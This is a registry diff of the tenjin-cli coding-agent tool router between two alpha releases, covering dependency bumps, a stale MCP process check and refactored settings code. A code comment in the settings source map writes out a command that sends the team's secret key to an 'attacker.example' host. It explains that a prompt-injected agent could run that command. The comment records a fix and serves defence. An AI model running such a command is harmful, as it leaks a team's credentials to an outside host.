tenjin-cli 0.1.0-alpha.24 → 0.1.0-alpha.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +19 -42
- package/dist/{chunk-GPLSNGKX.js → chunk-4HAV6IFE.js} +6 -6
- package/dist/{chunk-UXSF7IFD.js → chunk-5HS54CLI.js} +3 -3
- package/dist/{chunk-RCJ64OXH.js → chunk-5INS5ZZF.js} +36 -7
- package/dist/chunk-5INS5ZZF.js.map +1 -0
- package/dist/{chunk-XZUGRTSV.js → chunk-5NUF4BHR.js} +5 -3
- package/dist/{chunk-XZUGRTSV.js.map → chunk-5NUF4BHR.js.map} +1 -1
- package/dist/{chunk-YZTIYDWU.js → chunk-65EJJVT3.js} +2 -2
- package/dist/{chunk-ZMFDMALH.js → chunk-6JIYGYRB.js} +3 -53
- package/dist/chunk-6JIYGYRB.js.map +1 -0
- package/dist/chunk-7EKYXMUO.js +7536 -0
- package/dist/chunk-7EKYXMUO.js.map +1 -0
- package/dist/chunk-AKWGE6JQ.js +49 -0
- package/dist/chunk-AKWGE6JQ.js.map +1 -0
- package/dist/{chunk-KC24CYGV.js → chunk-ALJRB7NG.js} +14 -9
- package/dist/chunk-ALJRB7NG.js.map +1 -0
- package/dist/{chunk-S2NRVRPF.js → chunk-BOAI23CX.js} +53 -2
- package/dist/chunk-BOAI23CX.js.map +1 -0
- package/dist/{chunk-SQSKVKX6.js → chunk-DI7WHXOZ.js} +20 -16
- package/dist/chunk-DI7WHXOZ.js.map +1 -0
- package/dist/{chunk-UBOFYC6J.js → chunk-EJXIK6WY.js} +1817 -137
- package/dist/chunk-EJXIK6WY.js.map +1 -0
- package/dist/{chunk-RGVOODF4.js → chunk-EL56RW2J.js} +164 -7463
- package/dist/chunk-EL56RW2J.js.map +1 -0
- package/dist/{chunk-ZNZGBUV6.js → chunk-GHR4BTNJ.js} +9 -7
- package/dist/chunk-GHR4BTNJ.js.map +1 -0
- package/dist/chunk-H4BOQLWW.js +99 -0
- package/dist/chunk-H4BOQLWW.js.map +1 -0
- package/dist/{chunk-TMLCEPCD.js → chunk-HII5HOQV.js} +3 -5
- package/dist/chunk-HII5HOQV.js.map +1 -0
- package/dist/chunk-LFZJM56J.js +159 -0
- package/dist/chunk-LFZJM56J.js.map +1 -0
- package/dist/chunk-OBPZ36HG.js +145 -0
- package/dist/chunk-OBPZ36HG.js.map +1 -0
- package/dist/{chunk-NSDZESRS.js → chunk-OZ3LWLCI.js} +3 -3
- package/dist/chunk-PM2MOXJ3.js +66 -0
- package/dist/chunk-PM2MOXJ3.js.map +1 -0
- package/dist/chunk-PZ5N6BAL.js +268 -0
- package/dist/chunk-PZ5N6BAL.js.map +1 -0
- package/dist/{chunk-O2WN732M.js → chunk-UDWGT4FX.js} +2 -2
- package/dist/{chunk-W2ARIOAZ.js → chunk-VNT3CQFV.js} +23 -25
- package/dist/chunk-VNT3CQFV.js.map +1 -0
- package/dist/{chunk-XRW4N23F.js → chunk-W36HL4TB.js} +6 -6
- package/dist/{chunk-IIE65SJC.js → chunk-WT7DHJNJ.js} +4 -4
- package/dist/{chunk-P22ZWXFX.js → chunk-XICKN3CH.js} +49 -4
- package/dist/chunk-XICKN3CH.js.map +1 -0
- package/dist/chunk-XMIVHQ35.js +55 -0
- package/dist/chunk-XMIVHQ35.js.map +1 -0
- package/dist/chunk-YHKXNYTB.js +105 -0
- package/dist/chunk-YHKXNYTB.js.map +1 -0
- package/dist/{chunk-H5UR3GFJ.js → chunk-YHWBDCGS.js} +272 -54
- package/dist/chunk-YHWBDCGS.js.map +1 -0
- package/dist/{hook-command-GMIDXVFK.js → chunk-YLCWI6ZR.js} +231 -40
- package/dist/chunk-YLCWI6ZR.js.map +1 -0
- package/dist/{chunk-FFL5M5BC.js → chunk-YTM7OURD.js} +2 -2
- package/dist/{chunk-EP5P2STS.js → chunk-Z7R2QDX2.js} +67 -10
- package/dist/chunk-Z7R2QDX2.js.map +1 -0
- package/dist/chunk-ZLD6MJVJ.js +30 -0
- package/dist/chunk-ZLD6MJVJ.js.map +1 -0
- package/dist/{cli-GGNOQQEB.js → cli-2U5JB7OQ.js} +38 -36
- package/dist/{cli-GGNOQQEB.js.map → cli-2U5JB7OQ.js.map} +1 -1
- package/dist/{config-XUUFICXK.js → config-44EGO636.js} +14 -9
- package/dist/{doctor-3LGF6CWI.js → doctor-BD42BBEG.js} +231 -97
- package/dist/doctor-BD42BBEG.js.map +1 -0
- package/dist/env-proxy-KEGEMWKX.js +15 -0
- package/dist/{fund-3URFMBMN.js → fund-WQOOUESE.js} +26 -17
- package/dist/fund-WQOOUESE.js.map +1 -0
- package/dist/hook-command-23LC5NRN.js +32 -0
- package/dist/index.js +5 -3
- package/dist/index.js.map +1 -1
- package/dist/{install-FRTG4KHF.js → install-REPLHNU7.js} +25 -16
- package/dist/{install-identity-WNXSYP6N.js → install-identity-4RDWTLJ2.js} +6 -7
- package/dist/{install-wallet-MXLJJP3N.js → install-wallet-USHWL7AX.js} +10 -9
- package/dist/{install-wallet-MXLJJP3N.js.map → install-wallet-USHWL7AX.js.map} +1 -1
- package/dist/{mcp-O2WJ3QBW.js → mcp-T5SYCLP7.js} +778 -83
- package/dist/mcp-T5SYCLP7.js.map +1 -0
- package/dist/{pay-43WUYTW5.js → pay-276DSSYG.js} +16 -14
- package/dist/{payments-7UTMMTIO.js → payments-TZYLJXK3.js} +7 -7
- package/dist/{send-ALHG2RXT.js → send-YHDKZPED.js} +10 -11
- package/dist/{send-ALHG2RXT.js.map → send-YHDKZPED.js.map} +1 -1
- package/dist/{status-CFPNHB6R.js → status-X2INT6VD.js} +8 -9
- package/dist/{status-CFPNHB6R.js.map → status-X2INT6VD.js.map} +1 -1
- package/dist/{status-line-FJ6N7MKJ.js → status-line-QKDJYZGV.js} +4 -5
- package/dist/{status-line-FJ6N7MKJ.js.map → status-line-QKDJYZGV.js.map} +1 -1
- package/dist/{status-line-wiring-GXFNXHPE.js → status-line-wiring-LW4HFRHB.js} +6 -4
- package/dist/status-line-wiring-LW4HFRHB.js.map +1 -0
- package/dist/{uninstall-5P2GFYBY.js → uninstall-NVTGU7JD.js} +43 -33
- package/dist/uninstall-NVTGU7JD.js.map +1 -0
- package/dist/{update-QJ5YHJ7I.js → update-QXVH2DE7.js} +25 -7
- package/dist/update-QXVH2DE7.js.map +1 -0
- package/dist/{wallet-6OJPGNEV.js → wallet-CKKB23D5.js} +10 -9
- package/dist/wallet-CKKB23D5.js.map +1 -0
- package/docs/agent-permissions.md +18 -5
- package/docs/troubleshooting.md +13 -0
- package/package.json +8 -6
- package/dist/chunk-EP5P2STS.js.map +0 -1
- package/dist/chunk-H5UR3GFJ.js.map +0 -1
- package/dist/chunk-KC24CYGV.js.map +0 -1
- package/dist/chunk-O2JYBOUO.js +0 -47
- package/dist/chunk-O2JYBOUO.js.map +0 -1
- package/dist/chunk-P22ZWXFX.js.map +0 -1
- package/dist/chunk-RCJ64OXH.js.map +0 -1
- package/dist/chunk-RGVOODF4.js.map +0 -1
- package/dist/chunk-S2NRVRPF.js.map +0 -1
- package/dist/chunk-SQSKVKX6.js.map +0 -1
- package/dist/chunk-TMLCEPCD.js.map +0 -1
- package/dist/chunk-UBOFYC6J.js.map +0 -1
- package/dist/chunk-W2ARIOAZ.js.map +0 -1
- package/dist/chunk-YXLG7Q6Q.js +0 -140
- package/dist/chunk-YXLG7Q6Q.js.map +0 -1
- package/dist/chunk-ZMFDMALH.js.map +0 -1
- package/dist/chunk-ZNZGBUV6.js.map +0 -1
- package/dist/doctor-3LGF6CWI.js.map +0 -1
- package/dist/fund-3URFMBMN.js.map +0 -1
- package/dist/hook-command-GMIDXVFK.js.map +0 -1
- package/dist/mcp-O2WJ3QBW.js.map +0 -1
- package/dist/uninstall-5P2GFYBY.js.map +0 -1
- package/dist/update-QJ5YHJ7I.js.map +0 -1
- /package/dist/{chunk-GPLSNGKX.js.map → chunk-4HAV6IFE.js.map} +0 -0
- /package/dist/{chunk-UXSF7IFD.js.map → chunk-5HS54CLI.js.map} +0 -0
- /package/dist/{chunk-YZTIYDWU.js.map → chunk-65EJJVT3.js.map} +0 -0
- /package/dist/{chunk-NSDZESRS.js.map → chunk-OZ3LWLCI.js.map} +0 -0
- /package/dist/{chunk-O2WN732M.js.map → chunk-UDWGT4FX.js.map} +0 -0
- /package/dist/{chunk-XRW4N23F.js.map → chunk-W36HL4TB.js.map} +0 -0
- /package/dist/{chunk-IIE65SJC.js.map → chunk-WT7DHJNJ.js.map} +0 -0
- /package/dist/{chunk-FFL5M5BC.js.map → chunk-YTM7OURD.js.map} +0 -0
- /package/dist/{config-XUUFICXK.js.map → config-44EGO636.js.map} +0 -0
- /package/dist/{install-FRTG4KHF.js.map → env-proxy-KEGEMWKX.js.map} +0 -0
- /package/dist/{install-identity-WNXSYP6N.js.map → hook-command-23LC5NRN.js.map} +0 -0
- /package/dist/{pay-43WUYTW5.js.map → install-REPLHNU7.js.map} +0 -0
- /package/dist/{status-line-wiring-GXFNXHPE.js.map → install-identity-4RDWTLJ2.js.map} +0 -0
- /package/dist/{wallet-6OJPGNEV.js.map → pay-276DSSYG.js.map} +0 -0
- /package/dist/{payments-7UTMMTIO.js.map → payments-TZYLJXK3.js.map} +0 -0
|
@@ -3,14 +3,14 @@ import { createRequire as __tenjinCreateRequire } from 'node:module'; const requ
|
|
|
3
3
|
// package.json
|
|
4
4
|
var package_default = {
|
|
5
5
|
name: "tenjin-cli",
|
|
6
|
-
version: "0.1.0-alpha.
|
|
6
|
+
version: "0.1.0-alpha.26",
|
|
7
7
|
type: "module",
|
|
8
8
|
description: "The tool router for coding agents. Tenjin picks the right tool when your agent needs one, and one wallet pays for every call.",
|
|
9
9
|
repository: {
|
|
10
10
|
type: "git",
|
|
11
11
|
url: "git+https://github.com/BackTrackCo/tenjin-agent.git"
|
|
12
12
|
},
|
|
13
|
-
homepage: "https://tenjin.
|
|
13
|
+
homepage: "https://tenjin.sh/agents",
|
|
14
14
|
bugs: "https://github.com/BackTrackCo/tenjin-agent/issues",
|
|
15
15
|
keywords: [
|
|
16
16
|
"claude-code",
|
|
@@ -58,16 +58,18 @@ var package_default = {
|
|
|
58
58
|
"@changesets/cli": "^3.0.3",
|
|
59
59
|
"@clack/prompts": "^1.7.0",
|
|
60
60
|
"@eslint/js": "^10",
|
|
61
|
-
"@modelcontextprotocol/sdk": "1.
|
|
61
|
+
"@modelcontextprotocol/sdk": "1.31.0",
|
|
62
62
|
"@types/node": "^25",
|
|
63
|
-
"@x402/core": "2.
|
|
64
|
-
"@x402/evm": "2.
|
|
65
|
-
"@x402/extensions": "2.
|
|
63
|
+
"@x402/core": "2.28.0",
|
|
64
|
+
"@x402/evm": "2.28.0",
|
|
65
|
+
"@x402/extensions": "2.28.0",
|
|
66
|
+
"@x402/fetch": "2.28.0",
|
|
66
67
|
ajv: "^8.20.0",
|
|
67
68
|
"ajv-formats": "^3.0.1",
|
|
68
69
|
commander: "^14.0.1",
|
|
69
70
|
eslint: "^10",
|
|
70
71
|
"eslint-config-prettier": "^10",
|
|
72
|
+
"lean-qr": "^2.7.4",
|
|
71
73
|
ox: "0.14.30",
|
|
72
74
|
prettier: "^3",
|
|
73
75
|
tsup: "^8.5.0",
|
|
@@ -82,4 +84,4 @@ var package_default = {
|
|
|
82
84
|
export {
|
|
83
85
|
package_default
|
|
84
86
|
};
|
|
85
|
-
//# sourceMappingURL=chunk-
|
|
87
|
+
//# sourceMappingURL=chunk-GHR4BTNJ.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../package.json"],"sourcesContent":["{\n \"name\": \"tenjin-cli\",\n \"version\": \"0.1.0-alpha.26\",\n \"type\": \"module\",\n \"description\": \"The tool router for coding agents. Tenjin picks the right tool when your agent needs one, and one wallet pays for every call.\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/BackTrackCo/tenjin-agent.git\"\n },\n \"homepage\": \"https://tenjin.sh/agents\",\n \"bugs\": \"https://github.com/BackTrackCo/tenjin-agent/issues\",\n \"keywords\": [\n \"claude-code\",\n \"coding-agents\",\n \"tool-router\",\n \"ai-agents\",\n \"agent-tools\",\n \"mcp\",\n \"x402\",\n \"usdc\",\n \"base\",\n \"micropayments\",\n \"agent-payments\",\n \"claude\",\n \"codex\",\n \"cli\"\n ],\n \"bin\": {\n \"tenjin\": \"dist/index.js\"\n },\n \"engines\": {\n \"node\": \">=24\"\n },\n \"files\": [\n \"dist\",\n \"docs\",\n \"NOTICE.md\"\n ],\n \"packageManager\": \"pnpm@11.11.0\",\n \"scripts\": {\n \"build\": \"rm -rf dist && tsup\",\n \"test\": \"vitest run\",\n \"typecheck\": \"tsc --noEmit\",\n \"lint\": \"eslint .\",\n \"format\": \"prettier --write .\",\n \"format:check\": \"prettier --check .\",\n \"check\": \"pnpm run build && pnpm run test\",\n \"sync:skill\": \"node scripts/sync-skill.mjs\",\n \"pack-smoke\": \"bash scripts/pack-smoke.sh\",\n \"changeset\": \"changeset\",\n \"prepublishOnly\": \"pnpm run build\",\n \"githooks\": \"git config core.hooksPath .githooks\"\n },\n \"devDependencies\": {\n \"@changesets/cli\": \"^3.0.3\",\n \"@clack/prompts\": \"^1.7.0\",\n \"@eslint/js\": \"^10\",\n \"@modelcontextprotocol/sdk\": \"1.31.0\",\n \"@types/node\": \"^25\",\n \"@x402/core\": \"2.28.0\",\n \"@x402/evm\": \"2.28.0\",\n \"@x402/extensions\": \"2.28.0\",\n \"@x402/fetch\": \"2.28.0\",\n \"ajv\": \"^8.20.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^14.0.1\",\n \"eslint\": \"^10\",\n \"eslint-config-prettier\": \"^10\",\n \"lean-qr\": \"^2.7.4\",\n \"ox\": \"0.14.30\",\n \"prettier\": \"^3\",\n \"tsup\": \"^8.5.0\",\n \"typescript\": \"^6\",\n \"typescript-eslint\": \"^8\",\n \"viem\": \"^2.53.1\",\n \"vitest\": \"^4.1.9\",\n \"zod\": \"^4.4.3\"\n }\n}\n"],"mappings":";;;AAAA;AAAA,EACE,MAAQ;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
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
package_default
|
|
4
|
+
} from "./chunk-GHR4BTNJ.js";
|
|
5
|
+
|
|
6
|
+
// src/router/mcp-processes.ts
|
|
7
|
+
import { execFile } from "node:child_process";
|
|
8
|
+
import { stat } from "node:fs/promises";
|
|
9
|
+
import { dirname, join } from "node:path";
|
|
10
|
+
import { fileURLToPath } from "node:url";
|
|
11
|
+
import { promisify } from "node:util";
|
|
12
|
+
var exec = promisify(execFile);
|
|
13
|
+
var listMcpProcesses = async () => {
|
|
14
|
+
if (process.platform === "win32" || typeof process.getuid !== "function") return null;
|
|
15
|
+
try {
|
|
16
|
+
const { stdout } = await exec(
|
|
17
|
+
"ps",
|
|
18
|
+
["-U", String(process.getuid()), "-o", "pid=,lstart=,args="],
|
|
19
|
+
{ timeout: 5e3, env: { ...process.env, LC_ALL: "C" }, maxBuffer: 4 * 1024 * 1024 }
|
|
20
|
+
);
|
|
21
|
+
return parsePs(stdout, process.pid);
|
|
22
|
+
} catch {
|
|
23
|
+
return null;
|
|
24
|
+
}
|
|
25
|
+
};
|
|
26
|
+
var PS_LINE = /^\s*(\d+)\s+(\w{3}\s+\w{3}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2}\s+\d{4})\s+(.*)$/;
|
|
27
|
+
function parsePs(stdout, selfPid) {
|
|
28
|
+
const found = [];
|
|
29
|
+
for (const line of stdout.split("\n")) {
|
|
30
|
+
const m = PS_LINE.exec(line);
|
|
31
|
+
if (m === null) continue;
|
|
32
|
+
const pid = Number(m[1]);
|
|
33
|
+
if (pid === selfPid || !isTenjinMcp(m[3])) continue;
|
|
34
|
+
const startedAt = Date.parse(m[2].replace(/\s+/g, " "));
|
|
35
|
+
found.push({ pid, startedAt: Number.isNaN(startedAt) ? null : startedAt });
|
|
36
|
+
}
|
|
37
|
+
return found;
|
|
38
|
+
}
|
|
39
|
+
function isTenjinMcp(args) {
|
|
40
|
+
const tokens = args.trim().split(/\s+/);
|
|
41
|
+
const bin = tokens.findIndex(
|
|
42
|
+
(t) => /(^|[/\\])tenjin(\.js|\.cmd)?$/.test(t) || /[/\\]tenjin-cli[/\\]/.test(t)
|
|
43
|
+
);
|
|
44
|
+
return bin >= 0 && tokens[bin + 1] === "mcp";
|
|
45
|
+
}
|
|
46
|
+
var installedAt = async () => {
|
|
47
|
+
let dir = dirname(fileURLToPath(import.meta.url));
|
|
48
|
+
for (let i = 0; i < 6; i += 1) {
|
|
49
|
+
try {
|
|
50
|
+
const st = await stat(join(dir, "package.json"));
|
|
51
|
+
return Math.max(st.ctimeMs, st.mtimeMs);
|
|
52
|
+
} catch {
|
|
53
|
+
dir = dirname(dir);
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
return null;
|
|
57
|
+
};
|
|
58
|
+
var RECONNECT_FIX = "Reconnect x402 with /mcp, or start a new Claude Code session.";
|
|
59
|
+
function mcpServersState(procs, installed, version = package_default.version) {
|
|
60
|
+
const check = (detail) => ({
|
|
61
|
+
stale: 0,
|
|
62
|
+
check: { name: "mcp server", status: "ok", required: false, detail }
|
|
63
|
+
});
|
|
64
|
+
if (procs === null) {
|
|
65
|
+
return check("unknown: running `tenjin mcp` processes cannot be listed on this platform");
|
|
66
|
+
}
|
|
67
|
+
if (procs.length === 0) return check("none running (starts with the next session)");
|
|
68
|
+
if (installed === null) {
|
|
69
|
+
return check(`${procs.length} running; when this build was installed is unknown`);
|
|
70
|
+
}
|
|
71
|
+
const stale = procs.filter((p) => p.startedAt !== null && p.startedAt < installed).length;
|
|
72
|
+
if (stale === 0) {
|
|
73
|
+
return check(`${procs.length} running, all started after this install`);
|
|
74
|
+
}
|
|
75
|
+
const which = stale === 1 ? "process" : "processes";
|
|
76
|
+
return {
|
|
77
|
+
stale,
|
|
78
|
+
check: {
|
|
79
|
+
name: "mcp server",
|
|
80
|
+
status: "warn",
|
|
81
|
+
required: false,
|
|
82
|
+
detail: `${stale} running \`tenjin mcp\` ${which} started before this install (${version}), so ${stale === 1 ? "it runs" : "they run"} the older build, where the hooks can fail with "Tool hook not found"`,
|
|
83
|
+
fix: RECONNECT_FIX
|
|
84
|
+
}
|
|
85
|
+
};
|
|
86
|
+
}
|
|
87
|
+
async function readMcpServers(deps = {}) {
|
|
88
|
+
const [procs, installed] = await Promise.all([
|
|
89
|
+
(deps.listMcpProcesses ?? listMcpProcesses)().catch(() => null),
|
|
90
|
+
(deps.installedAt ?? installedAt)().catch(() => null)
|
|
91
|
+
]);
|
|
92
|
+
return mcpServersState(procs, installed);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
export {
|
|
96
|
+
RECONNECT_FIX,
|
|
97
|
+
readMcpServers
|
|
98
|
+
};
|
|
99
|
+
//# sourceMappingURL=chunk-H4BOQLWW.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/router/mcp-processes.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { stat } from 'node:fs/promises';\nimport { dirname, join } from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { promisify } from 'node:util';\nimport pkg from '../../package.json';\nimport type { RouterCheck } from './reachability';\n\n/**\n * A `tenjin mcp` STARTED BEFORE THIS INSTALL still runs the code it started\n * with. Claude Code keeps its MCP servers for the life of a session, so after\n * an update the hooks the new install wrote can call a tool the old process\n * does not have (\"Tool hook not found\"), while every file on disk reads as\n * correct. This finds this user's running `tenjin mcp` processes and compares\n * each start time with the installed package's own `package.json`.\n */\n\nexport interface McpProcess {\n pid: number;\n /** Start time in epoch ms, or null when `ps` gave none this could read. */\n startedAt: number | null;\n}\n\n/** This user's running `tenjin mcp` processes, or null where they cannot be listed. */\nexport type ListMcpProcesses = () => Promise<McpProcess[] | null>;\n\n/** When the installed package was written, in epoch ms, or null. */\nexport type InstalledAt = () => Promise<number | null>;\n\nconst exec = promisify(execFile);\n\n/** `ps` on macOS and Linux; null on Windows or when `ps` fails, which is \"unknown\". */\nexport const listMcpProcesses: ListMcpProcesses = async () => {\n if (process.platform === 'win32' || typeof process.getuid !== 'function') return null;\n try {\n const { stdout } = await exec(\n 'ps',\n ['-U', String(process.getuid()), '-o', 'pid=,lstart=,args='],\n { timeout: 5_000, env: { ...process.env, LC_ALL: 'C' }, maxBuffer: 4 * 1024 * 1024 },\n );\n return parsePs(stdout, process.pid);\n } catch {\n return null;\n }\n};\n\nconst PS_LINE = /^\\s*(\\d+)\\s+(\\w{3}\\s+\\w{3}\\s+\\d{1,2}\\s+\\d{2}:\\d{2}:\\d{2}\\s+\\d{4})\\s+(.*)$/;\n\n/** The `tenjin mcp` lines of `ps -o pid=,lstart=,args=`, this process left out. */\nexport function parsePs(stdout: string, selfPid: number): McpProcess[] {\n const found: McpProcess[] = [];\n for (const line of stdout.split('\\n')) {\n const m = PS_LINE.exec(line);\n if (m === null) continue;\n const pid = Number(m[1]);\n if (pid === selfPid || !isTenjinMcp(m[3]!)) continue;\n const startedAt = Date.parse(m[2]!.replace(/\\s+/g, ' '));\n found.push({ pid, startedAt: Number.isNaN(startedAt) ? null : startedAt });\n }\n return found;\n}\n\n/** `tenjin mcp`, however the bin was invoked: `node /path/bin/tenjin mcp`, `tenjin mcp`. */\nfunction isTenjinMcp(args: string): boolean {\n const tokens = args.trim().split(/\\s+/);\n const bin = tokens.findIndex(\n (t) => /(^|[/\\\\])tenjin(\\.js|\\.cmd)?$/.test(t) || /[/\\\\]tenjin-cli[/\\\\]/.test(t),\n );\n return bin >= 0 && tokens[bin + 1] === 'mcp';\n}\n\n/**\n * When this build's `package.json`, the nearest one above this module, was\n * written. Its ctime, not its mtime: npm extracts a package with the\n * tarball's fixed 1985 mtimes, and setting them is what moves the ctime to\n * the moment of the install.\n */\nexport const installedAt: InstalledAt = async () => {\n let dir = dirname(fileURLToPath(import.meta.url));\n for (let i = 0; i < 6; i += 1) {\n try {\n const st = await stat(join(dir, 'package.json'));\n return Math.max(st.ctimeMs, st.mtimeMs);\n } catch {\n dir = dirname(dir);\n }\n }\n return null;\n};\n\n/** How many running servers predate the install, and what doctor says about it. */\nexport interface McpServersState {\n stale: number;\n check: RouterCheck;\n}\n\nexport const RECONNECT_FIX = 'Reconnect x402 with /mcp, or start a new Claude Code session.';\n\n/** The `mcp server` check from a process list and the install time. Never a failure. */\nexport function mcpServersState(\n procs: McpProcess[] | null,\n installed: number | null,\n version: string = pkg.version,\n): McpServersState {\n const check = (detail: string): McpServersState => ({\n stale: 0,\n check: { name: 'mcp server', status: 'ok', required: false, detail },\n });\n if (procs === null) {\n return check('unknown: running `tenjin mcp` processes cannot be listed on this platform');\n }\n if (procs.length === 0) return check('none running (starts with the next session)');\n if (installed === null) {\n return check(`${procs.length} running; when this build was installed is unknown`);\n }\n const stale = procs.filter((p) => p.startedAt !== null && p.startedAt < installed).length;\n if (stale === 0) {\n return check(`${procs.length} running, all started after this install`);\n }\n const which = stale === 1 ? 'process' : 'processes';\n return {\n stale,\n check: {\n name: 'mcp server',\n status: 'warn',\n required: false,\n detail: `${stale} running \\`tenjin mcp\\` ${which} started before this install (${version}), so ${stale === 1 ? 'it runs' : 'they run'} the older build, where the hooks can fail with \"Tool hook not found\"`,\n fix: RECONNECT_FIX,\n },\n };\n}\n\n/** The check, read from this machine (or the injected sources). */\nexport async function readMcpServers(\n deps: { listMcpProcesses?: ListMcpProcesses; installedAt?: InstalledAt } = {},\n): Promise<McpServersState> {\n const [procs, installed] = await Promise.all([\n (deps.listMcpProcesses ?? listMcpProcesses)().catch(() => null),\n (deps.installedAt ?? installedAt)().catch(() => null),\n ]);\n return mcpServersState(procs, installed);\n}\n"],"mappings":";;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,YAAY;AACrB,SAAS,SAAS,YAAY;AAC9B,SAAS,qBAAqB;AAC9B,SAAS,iBAAiB;AAyB1B,IAAM,OAAO,UAAU,QAAQ;AAGxB,IAAM,mBAAqC,YAAY;AAC5D,MAAI,QAAQ,aAAa,WAAW,OAAO,QAAQ,WAAW,WAA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,7 +1,4 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
-
import {
|
|
3
|
-
parseUsdToAtomic
|
|
4
|
-
} from "./chunk-O2JYBOUO.js";
|
|
5
2
|
import {
|
|
6
3
|
CONFIG_DEFAULTS,
|
|
7
4
|
PRODUCTION_ORIGIN,
|
|
@@ -10,8 +7,9 @@ import {
|
|
|
10
7
|
external_exports,
|
|
11
8
|
isSameDeployment,
|
|
12
9
|
loadRawConfig,
|
|
10
|
+
parseUsdToAtomic,
|
|
13
11
|
resolveSettings
|
|
14
|
-
} from "./chunk-
|
|
12
|
+
} from "./chunk-XICKN3CH.js";
|
|
15
13
|
import {
|
|
16
14
|
CliError
|
|
17
15
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -239,4 +237,4 @@ export {
|
|
|
239
237
|
ownedCandidates,
|
|
240
238
|
projectRoot
|
|
241
239
|
};
|
|
242
|
-
//# sourceMappingURL=chunk-
|
|
240
|
+
//# sourceMappingURL=chunk-HII5HOQV.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" 